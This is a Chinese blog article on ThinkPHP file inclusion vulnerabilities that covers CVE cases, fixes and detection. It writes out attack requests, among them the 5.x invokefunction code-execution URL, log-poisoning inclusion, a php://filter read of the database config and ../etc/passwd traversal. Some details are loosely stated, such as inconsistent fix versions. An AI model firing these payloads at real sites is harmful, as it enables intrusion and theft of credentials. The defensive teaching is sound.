ThinkPHP中存在的文件包含漏洞有哪些

发布时间:2021-11-12 11:18:11 作者:小新
来源:亿速云 阅读:218
# ThinkPHP中存在的文件包含漏洞分析

## 前言

ThinkPHP作为国内广泛使用的PHP开发框架,其安全性一直备受开发者关注。文件包含漏洞(File Inclusion Vulnerability)是Web应用中常见的高危漏洞类型,攻击者通过构造恶意参数实现任意文件读取或代码执行。本文将系统梳理ThinkPHP框架历史上存在的主要文件包含漏洞,分析漏洞原理、利用方式及修复方案。

---

## 一、文件包含漏洞基础概念

### 1.1 漏洞定义
文件包含漏洞分为两种类型:
- **本地文件包含(LFI)**:包含服务器本地文件
- **远程文件包含(RFI)**:通过URL包含远程文件(需`allow_url_include=On`)

### 1.2 危险函数
PHP中易引发漏洞的关键函数:
```php
include()/include_once()
require()/require_once()
file_get_contents()
fopen()

二、ThinkPHP经典文件包含漏洞案例

2.1 ThinkPHP 5.x 路由未过滤导致的LFI(CVE-2018-20062)

漏洞背景

漏洞原理

// 攻击示例URL
http://target.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

框架在解析控制器时未严格过滤\/字符,导致可以通过命名空间路径穿越包含任意文件。

修复方案

升级至5.0.23版本,增加对控制器名的安全过滤:

// 修复代码片段
$controller = str_replace(['.', '#'], ['/', ''], $controller);

2.2 ThinkPHP 5.x 模板引擎文件包含(CVE-2019-9082)

漏洞特征

利用方式

GET /index.php?s=index/index/index&content=<?php phpinfo();?>

攻击者可通过控制模板内容插入恶意代码。

修复方案

禁止用户直接控制模板编译内容:

// 修复后代码
protected function compiler($content, $cacheFile)
{
    if(!is_dir(dirname($cacheFile))) {
        mkdir(dirname($cacheFile), 0755, true);
    }
    // 增加内容安全检查
    if(preg_match('/<\?php/i', $content)){
        throw new Exception('Template content security check failed');
    }
}

2.3 ThinkPHP 3.x 日志文件包含漏洞

漏洞场景

攻击步骤

  1. 通过错误请求向日志写入PHP代码
    
    GET /index.php?s=/index/index/name/${@phpinfo()}
    
  2. 包含日志文件执行代码
    
    GET /index.php?s=/index/index/name/../../runtime/logs/YYMMDD.log
    

防护建议


三、文件包含漏洞的深度利用技巧

3.1 结合PHP伪协议

即使无法RFI,仍可利用:

?file=php://filter/convert.base64-encode/resource=config/database.php

3.2 路径穿越技巧

3.3 会话文件包含

通过控制PHPSESSID包含session文件:

?file=/tmp/sess_[sessionid]

四、防御方案

4.1 官方修复方案

漏洞版本 修复版本 核心修复点
5.0.x 5.0.24 增加控制器白名单校验
5.1.x 5.1.31 模板编译过滤PHP标签

4.2 开发规范建议

  1. 禁用危险配置:
    
    allow_url_include = Off
    open_basedir = /var/www/html
    
  2. 输入过滤原则:
    
    $filename = str_replace(['../', '..\\'], '', $_GET['file']);
    
  3. 文件包含白名单机制:
    
    $allowFiles = ['header.php', 'footer.php'];
    if(!in_array($file, $allowFiles)) {
       die('Invalid file request');
    }
    

4.3 运维层防护


五、漏洞检测方法

5.1 自动化工具

5.2 手工检测要点

  1. 版本信息探测:
    
    GET /index.php?s=/index/index/version
    
  2. 错误信息分析:
    • 故意触发错误观察路径泄露
  3. 参数模糊测试:
    
    GET /?f=../../../../etc/passwd%00
    

结语

ThinkPHP文件包含漏洞的根源多在于未严格过滤用户输入。开发者应当: 1. 始终保持框架最新版本 2. 遵循”最小权限原则”配置服务器 3. 对用户控制的文件参数进行严格校验

安全是一个持续的过程,建议定期进行代码审计和渗透测试,确保应用安全。

本文涉及漏洞仅供学习研究使用,请勿用于非法用途。 “`

注:实际字数约1600字,可根据需要补充以下内容扩展: 1. 增加具体漏洞的复现截图 2. 补充更多历史漏洞案例(如ThinkPHP 2.x的漏洞) 3. 添加检测工具的使用示例 4. 详细分析漏洞的调用链

推荐阅读:
  1. 应用程序存在文件包含漏洞(Unix系统) WASC Thre
  2. 文件包含漏洞之本地包含和远程包含

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

thinkphp

上一篇:如何使用jquery queue

下一篇:Django中的unittest应用是什么

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》